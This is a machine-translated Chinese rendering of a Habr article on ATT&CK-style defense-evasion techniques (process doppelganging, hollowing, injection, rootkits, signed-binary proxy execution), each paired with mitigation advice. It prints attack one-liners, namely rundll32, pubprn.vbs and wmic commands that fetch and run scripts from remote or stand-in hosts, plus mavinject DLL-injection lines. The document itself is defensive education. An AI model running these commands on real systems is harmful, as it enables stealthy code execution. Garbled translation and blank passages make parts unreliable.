说明:如果不再需要与网络文件夹和Windows Admin Share的连接,则可以删除它们。 Net是可用于删除网络连接的实用程序的示例: net use \ system \ share / delete 。 对手可以删除不需要清除入侵痕迹的网络连接。

安全提示:请遵循最佳实践来组织Windows Admin Share。 确定可用于连接到网络共享的不必要的系统实用程序和软件,并考虑审核其使用或阻止。

混淆的文件或信息


系统: Windows,Linux,macOS
描述:攻击者可以使用加密,加密和各种方法来混淆系统中或文件传输期间的文件及其内容。
可以对有效负载进行存档或加密,有时需要对其进行模糊处理和随后的启动,这需要某些用户操作,例如,输入密码以打开由攻击者准备的存档。

要隐藏纯文本行,还可以对文件的某些部分进行编码。 有效负载可以划分为单独的“良性”文件,这些文件在整体组装时会执行恶意功能。

对手也可以直接或通过命令行界面混淆从有效负载调用的命令。 可以使用特定于平台或语言语义的环境变量,别名和字符来绕过基于签名和白名单的恶意软件检测。

混淆的另一个例子是隐写术-隐藏图像,音轨,视频和文本文件中的数据或代码的技术。

保护建议:使用恶意软件分析和检测工具不仅可以检查源代码本身,还可以分析执行命令的过程。 在Windows 10中,此功能表示为反恶意软件扫描接口(AMSI)。

命令中是否包含转义字符(例如^或“)可以作为混淆的指示。使用Windows Sysmon和事件ID 4688事件,您可以查看在各个进程中执行的命令的参数。

可以使用IDS系统和电子邮件安全网关在网络上检测到初始访问阶段有效载荷中使用的混淆,该网关识别附件中压缩,加密的数据和脚本。 可以通过检查加密流量来识别从网站通过加密连接传输的有效负载。

Plist修改


系统: macOS
权限:用户,管理员
描述:攻击者可以在plist文件中指定自己的代码以在另一个用户的上下文中执行该代码,从而修改plist文件。 位于/ Library / Preferences中的plist属性文件以提升的特权运行,而〜/ Library / Preferences中的plist文件以用户特权运行。

安全提示通过将plist文件设置为只读来防止其被修改。

港口敲门


系统: Linux,macOS
权限:用户
描述:攻击者可以使用端口敲门方法来隐藏他们用于连接至系统的开放端口。

安全提示使用状态防火墙可以阻止实施某些“端口敲门”选项。

工艺多联


系统: Windows
权限:用户,管理员,系统
描述:事务性NTFS(TxF)是Vista中首次引入的一项技术,该技术支持使用事务进行文件操作。 在TxF中,目前只有一个事务描述符可以写入文件,所有其他描述符将被隔离,并且只能读取打开时锁定的文件版本。 如果系统或应用程序崩溃,则TxF将自动将更改回滚到文件。 TxF仍包含在Windows 10中。

技术过程Doppelganging(来自德国的“两阶段传动”,“双冲程”)涉及未记录的WinAPI函数的使用,并通过4个步骤实现:

  1. 交易额 使用受攻击的可执行文件创建NTFS事务,并作为事务的一部分创建可执行文件的临时修改版本。
  2. 资料下载 在内存中创建一个共享段,可执行文件的修改版本将加载到该共享段中。
  3. 回滚。 NTFS事务将回滚,其结果是原始的受攻击文件以其原始形式保存在磁盘上。
  4. 动画。 使用保留在RAM中的可执行文件的修改版本,可以创建一个进程并开始执行。

因此,恶意代码将在合法的受信任进程的上下文中工作。 假设攻击仅发生在内存中,因为 NTFS事务尚未完成,但是会回滚,磁盘上不会保留任何恶意活动的痕迹。

安全提示:尝试阻止某些API调用形式的预防性安全措施可能会带来负面影响。 该保护媒介必须旨在防止在攻击链的早期阶段启动恶意工具。 可以使用Doppelganging规避安全功能,但是,仍然可以阻止潜在危险的应用程序并使用白名单限制软件的使用,这仍然是一种好习惯。 通过分析对CreateTransaction,CreateFileTransacted,RollbackTransaction API函数,未记录的函数(如NTCreateProcessEX,NtCreateThreadEX)和用于在另一个进程(如WriteProcessMemory)中更改内存的API调用的调用来执行攻击检测。

工艺空洞


系统: Windows
权限:用户
描述:攻击是通过在过程暂停期间替换过程的可执行文件的映像来进行的。它是注入过程的十种基本技术之一

安全提示:尝试阻止某些API调用形式的预防性安全措施可能会带来负面影响。该保护媒介必须旨在防止在攻击链的早期阶段启动恶意工具。进程空洞可用于规避安全功能,但是,阻止潜在危险的应用程序并使用白名单限制软件的使用仍然是一种好的做法。

将代码注入流程(流程注入), 十种流程注入技术


系统: Windows,Linux,macOS
权限:用户,管理员,系统,根目录
描述:进程注入是一种在独立运行进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码使您可以访问注入的进程的内存,系统/网络资源以及可能的特权提升。进程注入也可以用于避免通过安全手段检测到恶意活动。用于实现对进程的注入的技术基于滥用各种机制来确保OS中程序执行的多线程。以下是将代码注入到进程中的一些方法。

窗户
•DLL注入。通过在进程内写入恶意DLL的路径,然后通过创建远程线程(远程线程-在另一个进程的虚拟地址空间中运行的线程)来执行它们,来执行它们。换句话说,恶意软件将DLL写入磁盘,然后使用CreateRemoteTread之类的函数,该函数将在注入过程中调用LoadLibrary函数。
•PE注入(便携式可执行注入)基于滥用PE文件的内存执行功能,例如DLL或EXE。恶意代码被写入进程,而没有将任何文件写入磁盘,然后使用附加代码或通过创建远程流来调用执行。
•线程执行劫持涉及将恶意代码或DLL路径直接注入到进程线程中。像过程中空技术一样,必须首先暂停流。
•注入异步过程调用(APC)注入涉及将恶意代码嵌入到进程线程的APC队列中。 APC注入的一种方法称为“伯鸟注入”,涉及创建一个挂起的进程,在该进程中可以编写恶意代码并将其通过APC启动到进程入口点。 AtomBombing是另一个注入选项,它使用APC调用以前写入全局原子表的恶意代码。
•线程本地存储(TLS)注入注入涉及操纵可执行PE文件中的内存指针,以将进程重定向到恶意代码。

Mac和Linux
•系统变量LD_RPELOAD,LD_LIBRARY_PATH(Linux),DYLIB_INSERT_LIBRARIES(macOS X)或dlfcn应用程序编程接口(API)可用于将库(共享库)动态加载到进程中,该进程又可用于拦截来自以下进程的API调用正在运行的进程。
•Ptrace系统调用可用于连接到正在运行的进程,并在运行时对其进行更改。
•/ proc / [pid] / mem提供对进程内存的访问,可用于读取/写入任意数据,但是由于其实现的复杂性,因此很少使用此方法。
•VDSO(虚拟动态共享对象)捕获允许您通过操作linux-vdso.so中的代码存根在执行ELF二进制文件时注入代码。
恶意程序通常使用代码注入到进程中来访问系统资源,这使攻击者可以在系统中立足,并在被攻击的环境中执行其他更改。更复杂的样品可以执行多次进样,从而使其难以检测。

保护建议:将代码注入进程的方法是基于对常规OS功能的滥用,这直接导致影响可能导致合法软件和安全产品的不稳定运行。防止使用拦截技术的工作需要集中在攻击链的早期阶段。使用工具来阻止潜在危险的软件,例如AppLocker。将Yama用作防止在ptrace中进行代码注入的措施,将ptrace的使用仅限于特权用户。其他安全措施可能包括部署提供高级访问控制和进程限制的内核安全模块。这些工具包括SELinux,grsecurity和AppArmor。

冗余访问


系统: Windows,Linux,macOS
权限:用户,管理员,系统
说明:攻击者可以同时使用具有不同控制协议的多个远程访问工具,以分散检测风险。因此,如果检测到并阻止了一种远程访问工具,但防御方尚未识别出所有攻击者的工具,则仍将保留对受攻击网络的远程访问。攻击者还可能尝试访问远程企业服务(例如VPN)的有效帐户,以在阻止远程访问基本工具的情况下获得对系统的替代访问。使用Web Shell也是通过Web服务器远程访问网络的方法之一。

保护建议:监视网络中已知的远程访问工具(AmmyAdmin,Radmin,RemotePC,VNC等)的存在和启动阻止,使用工具控制应用程序的启动并阻止潜在危险的软件。引入使用签名检测特定恶意软件的IDS和IPS系统将降低成功攻击的可能性,但是随着时间的推移,攻击者将修改其工具以更改签名,从而绕过IDS和IPS系统。

Regsvcs /重新充气


系统: Windows
权限:用户,管理员
说明: Regsvcs和Regasm是Windows实用工具,用于向.NET组件对象模型(COM)组装系统进行注册。这两个文件均由Microsoft进行数字签名。当属性是在注册或注销之前必须运行的代码:[ComRegisterFunction]或[ComUnregisterFunction]时,攻击者可以使用Regsvcs和Regasm代理代码执行。即使进程运行时权限不足,甚至在启动时崩溃,也可以启动具有此类属性的代码。

保护建议:如果您的系统或网络上未使用Regsvcs.exe和Regasm.exe,则将其阻止。

根套件


系统: Windows,Linux,macOS
权限:管理员,系统,根
说明: Rootkit是通过拦截和修改API调用隐藏恶意软件存在的程序。Rootkit可以在用户级别,OS内核甚至更低级别,在管理程序,MBR或系统固件级别上运行。反对者使用rootkit来隐藏程序,文件,网络连接,驱动程序和其他OS组件的存在。

保护建议:使用软件白名单工具,防病毒工具或内置的OS保护工具,识别并阻止可能包含Rootkit的潜在危险软件。

Rundll32 (Poweliks)


系统: Windows
权限:用户
说明: Rundll32.exe是用于启动位于动态连接的库中的程序的系统实用程序;可以通过未公开的shel32.dll函数调用它来代理二进制文件,执行Windows控制文件(.cpl)- Control_RunDLLControl_RunDLLAsUser。双击.cpl文件还会使Rundll32.exe执行。 Rundll32也可以用于执行脚本,例如JavaScript:

rundll32.exe javascript:“ \ .. \ mshtml,RunHTMLApplication”; document.write(); GetObject(“ scrirpt:https [:] // www [。]示例[ 。] com / malm.sct“)”

诸如Poweliks之类的防病毒软件会检测到以上使用rundll32.exe的方法。

保护建议: EMET中的减少攻击面(ASR)和Windows Defender中的Advanced Theart Protection可以阻止使用Rundll32.exe绕过白名单。

在Windows中捕获SIP和信任提供者(SIP和信任提供者劫持)破坏信任


系统: Windows
权限:管理员,系统
说明:攻击者可以修改体系结构的组件,以对Windows代码的数字签名进行签名和验证,从而绕过控制仅允许运行经过签名的代码的程序启动的控制手段。为了在Windows中创建,签名和验证各种格式的文件的签名,使用了所谓的主题接口程序包(SIP) -每种文件类型唯一的软件规范,这些规范允许API函数之间进行交互,从而启动签名的创建,计算和验证。文件。使用所谓的“ 信任提供者”来确认签名的有效性-这些是操作系统的软件组件,它们执行与数字签名的计算和验证有关的各种过程。

流行的攻击方法:
  • 修改CryptSIPDllGetSignedDataMsg部分中的DLLFuncName键HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Cryptography \ OID \ EncodingType 0 \ CryptSIPDllGetSignedDataMsg \ [SIP_GUID]其目的是替换提供功能CryptSIPDllGetSignedDataMSG的DLL库。

    , . (, Microsoft ) SIP. , , , , , , , .
  • DLL FuncName :
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData/[SIP_GUID] .
    DLL-, CryptSIPDllVerifyIndirectData , , , , , (True/False). , c SIP. , DLL-.
  • DLL FuncName :
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy/[Trust Provider GUID] .
    DLL-, FinalPolicy Trust Provider, , . CryptSIPDllVerifyIndirectData, DLL-.

重要的是要注意,对Windows信任机制的描述攻击可以使用DLL搜索顺序劫持技术来实施。

保护建议:确保受保护系统的用户不能修改与SIP和信任提供程序组件相关的注册表项。考虑删除不必要和过时的SIP。使用各种方式阻止恶意DLL的下载,例如Windows AppLocker和DeviceGuard中内置的那些DLL。

脚本编写


系统: Windows,Linux,macOS
权限:用户
说明:攻击者可以使用脚本来自动执行其操作,加快操作任务并因此减少访问所需的时间。通过直接在API级别与OS交互而不是调用其他程序,可以使用某些脚本语言来绕过监视过程的机制。脚本可以作为宏嵌入在Office文档中,然后用于网络钓鱼攻击。在这种情况下,攻击者希望用户运行宏文件,或者用户同意激活宏。有几种实现脚本的流行框架-Metasploit,Veil,PowerSploit。

安全提示:限制对VBScript或PowerShell等脚本的访问。在Windows上,通过启用GPO的安全查看和宏禁止功能来配置MS Office安全设置。如果需要宏,则仅允许运行可信的数字签名宏。使用微分段和应用程序虚拟化,例如,Windows的Sandboxie和Apparmor,Linux的Docker。

通过签名二进制代理执行执行代理代码


系统: Windows
权限:用户
描述:使用受信任的数字证书签名的二进制文件可以在受数字签名验证保护的Windows系统上运行。 Windows安装期间默认情况下会签名的几个Microsoft文件可用于代理其他文件的启动:

•Mavinject.exe是Windows实用程序,允许执行代码。 Mavinject可用于将DLL输入到正在运行的进程中:
“ C:\ Program Files \ Common Files \ microsoft shared \ ClickToRun \ MavInject32.exe” [PID] / INJECTRUNNING [PATH DLL];
C:\ Windows \ system32 \ mavinject.exe [PID] / INJECTRUNNING [PATH DLL];
•SyncAppvPublishingServer.exe-可用于运行powershell脚本,而无需运行powershell.exe。
还有更多类似的二进制文件

保护建议:您系统上可能未使用许多签名文件,因此请考虑阻止其启动。

通过签名脚本执行代理代码(签名脚本代理执行)


系统: Windows
权限:用户
说明:使用受信任证书签名的脚本可用于代理恶意文件,例如,PubPrn.vbs已使用Microsoft证书签名,并可用于从远程服务器运行文件:
cscript C:\ Windows \ System32 \ Printing_Admin_Scripts \ ru-RU \ pubprn.vbs 127.0.0.1脚本:http [:] // 192.168.1.100/hi.png

保护建议:您的系统上可能不需要这种签名的脚本,因此请考虑阻止其启动。

软件包装


系统: Windows
说明:软件打包涉及对手对可执行文件使用压缩或加密方法,从而导致文件的校验和发生更改,从而避免了基于搜索静态签名的检测。大多数解压缩方法对内存中的可执行代码进行解压缩。流行实用程序的示例-可执行文件打包程序是MPRESS和UPS,但是,还有许多其他已知的打包程序,此外,对手可以创建自己的打包方法,而不会像众所周知的打包程序那样留下这些工件。打包可执行文件并不是恶意软件的明显指标,因为合法的软件开发人员可以使用打包方法来减小分发包的大小或保护专有代码。

保护建议:更新防病毒保护工具,创建用于恶意软件检测的自定义签名,并使用启发式检测方法。识别并阻止潜在危险的软件。

文件名后的空格


系统: Linux,macOS
权限:用户
说明:攻击者可以通过更改其扩展名来隐藏文件的真实类型。对于某些类型的文件(不适用于.app文件),在文件名的末尾添加空格字符将更改操作系统处理文件的方式。例如,如果有一个名为Evil.bin的可执行文件Mach-O,则当用户双击时,操作系统将启动Terminal.app并执行它。如果将同一文件重命名为evil.txt,则双击该文件将在文本编辑器中启动。但是,如果将文件重命名为“ evil.txt”(末尾有空格),则双击真实文件的类型将确定操作系统,然后二进制文件将启动。攻击者可以使用此技术诱使用户启动恶意可执行文件。

保护建议:难以防止使用此技术,因为 攻击者使用操作系统的标准操作机制,因此,保护​​媒介必须针对在攻击的早期阶段(例如,在系统中交付或创建恶意文件的阶段)防止恶意行为。

Timestomp


系统: Windows,Linux
权限:用户,管理员,系统
说明: Timestomp是文件时间戳的更改(更改,访问,创建)。时间戳记方法通常用于掩盖攻击者已修改或创建的文件,因此法医专家和法医工具不会注意到它们。时间戳记可以与文件名掩码一起使用,以隐藏恶意软件和入侵者工具。

保护建议:指示保护媒介,以防止启动潜在危险和恶意软件。取证工作描述了用于组织工具的方法,这些工具通过收集有关打开文件描述符并将其与文件中指定的时间戳进行匹配的信息来检测时间戳的更改。

受信任的开发人员实用程序


系统: Windows
权限:用户
描述:软件开发人员使用许多实用程序,这些实用程序可在软件开发,调试和逆向工程期间用于以各种形式执行代码。这些实用程序通常使用数字证书进行签名,从而使它们可以在操作系统中代理恶意代码,从而绕过安全机制和应用程序白名单。
•MSBulid是Visual Studio中使用的软件开发平台。它使用XML文件形式的项目,这些项目描述了构建各种平台和配置的要求。 .NET版本4的MSBuild允许您将C#代码插入XML项目,进行编译,然后执行。 MSBulid.exe由Microsoft数字证书签名。
•DNX-.Net执行环境(dnx.exe)是Visual Studio Enterprise的开发套件。自2016年.NET Core CLI以来停产。 DNX在标准Windows版本中缺少,只能在使用.Net Core和ASP.NET Core 1.0的开发人员主机上使用。 Dnx.exe经过数字签名,可用于代理代码执行。
•RCSI是C#的非交互式命令行界面,类似于csi.exe。它是在Roslyn .Net编译器平台的早期版本中引入的。 Rcsi.exe由Microsoft数字证书签名。可以在Windows命令提示符下使用Rcsi.exe编写和执行C#.csx脚本文件。
•WinDbg / CDB是MS Windows内核,是用于在用户模式下进行调试的实用程序。 Microsoft控制台调试器cdb.exe也是用户模式调试器。这两个实用程序都可以用作独立工具。常用于软件开发,逆向工程,在常规Windows系统上找不到。 WinDbg.exe和CDB.exe文件均由Microsoft数字证书签名,可用于代理代码。
•Tracker-tracker.exe文件跟踪实用程序。作为MSBuild的一部分包含在.NET中。用于在Windows 10文件系统中注册调用,攻击者可以使用tracker.exe在各种进程中执行DLL。 Tracker.exe也使用Microsoft证书签名。

保护建议: , .

Valid Accounts


描述:攻击者可以使用访问凭据来窃取特定用户或服务帐户的凭据,并使用社会工程学在情报过程中捕获凭据。 受损的凭证可用于绕过访问控制系统并获得对远程系统和外部服务(例如VPN,OWA,远程桌面)的访问,或在特定系统和网络区域上获得提升的特权。 如果方案成功,攻击者可以拒绝恶意软件以使其难以检测。 此外,在尝试使用其他方式失败的情况下,攻击者可以使用预定义的名称和密码创建帐户以维护备份访问权限。

保护建议:应用密码策略,遵循有关设计和管理公司网络的建议,以限制在所有管理级别上使用特权帐户。 定期检查域和本地帐户及其权限,以识别可能使攻击者获得广泛访问权限的帐户。 使用SIEM系统监视帐户活动。

网络服务


系统: Windows
权限:用户
描述:攻击者可以使用运行中的合法外部Web服务作为发送命令来控制受感染系统的方式。 管理服务器称为命令和控制(C&C或C2)。 流行的网站和社交网络可以充当C2的机制,还可以使用各种公共服务,例如Google或Twitter。 所有这些都有助于在整个流量中隐藏恶意活动。 Web服务通常使用SSL / TLS,因此攻击者可以获得额外的保护层。

安全建议:防火墙和Web代理可用于实施外部网络通信策略。 使用签名分析的IDS / IPS系统可以在网络级别检测到已知恶意软件。 但是,应牢记,随着时间的流逝,对手将更改C2工具的签名或重建协议,以避免在常用防御手段的帮助下进行检测。 使用工具监视用户行为还可以增加检测异常活动的机会。

XSL脚本处理


系统: Windows
权限:用户
说明:可扩展样式表语言(* .xsl)通常用于描述XML文件中的数据处理和呈现。 为了支持XSL中的复杂操作,可以将各种语言的脚本嵌入到代码中。 攻击者可以滥用此功能来执行任意文件。 与滥用受信任的开发人员实用程序(受信任的开发人员实用程序)的技术类似,受信任的实用程序msxsl.exe可将XML文档转换为另一种形式(html,wml,rtf,pdf等),可用于执行本地嵌入的恶意JavaScript。或删除(通过URL引用)的XSL文件。 由于默认情况下未安装msxsl.exe,因此对手很可能不得不打包它和其他必要的文件。 示例调用msxsl.exe:
msxsl.exe客户[。] xml脚本[。] xsl
该技术的另一个变体,称为Squibletwo,是使用WMI从xsl文件调用JScript或VBScript。 这种技术(如Squibledoo)滥用regsrv32.exe,它也使用受信任的Windows工具:
•本地文件: wmic进程列表/FORMAT:evil[..BIZxsl;
•远程文件: wmic os get / FORMAT决定https [; // example [。†com / evil [。†xsl。“

保护建议:如果在受保护的环境中未使用msxsl.exe,则阻止其执行。 相反,禁用WMI会导致系统不稳定,因此需要对后果进行初步评估。

Source: https://habr.com/ru/post/zh-CN432624/


All Articles